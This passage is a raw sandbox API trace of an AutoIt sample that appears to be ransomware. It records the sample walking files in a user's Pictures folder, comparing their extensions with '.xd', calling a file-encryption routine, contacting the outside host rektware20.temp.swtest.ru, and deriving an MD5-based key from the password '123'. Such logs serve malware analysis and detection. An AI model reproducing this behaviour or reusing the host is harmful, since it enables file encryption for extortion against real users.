lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.341] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.342] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qvXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vXJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XJrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JrsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rsLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sLFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LFjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FjUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jUb-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ub-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="71ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ebS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bS7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.343] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7.bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bmp", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.344] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.344] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.344] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.344] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.344] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.345] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.345] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.345] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fe8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fe8, lpdwBufferLength=0x130ee1c) returned 1 [0060.345] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.345] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.345] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.346] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.346] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.346] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629410, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629410*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.346] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.347] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.347] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.347] CloseHandle (hObject=0x0) returned 0 [0060.347] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.347] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\qvXJrsLFjUb-71ebS7.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0060.347] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.347] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.347] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.348] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.348] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.348] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.348] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.348] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.348] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.348] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.349] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.349] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.349] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.349] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.349] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.350] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aac48) returned 1 [0060.350] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.350] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.350] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.351] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.351] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.351] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.351] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.351] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.352] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.352] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.352] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.353] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.353] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.353] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.353] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621390, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.353] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.353] CryptCreateHash (in: hProv=0x17aac48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.354] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.354] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.354] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.354] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.354] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.354] CryptHashData (hHash=0x164c630, pbData=0x1629410, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.356] CharUpperBuffW (in: 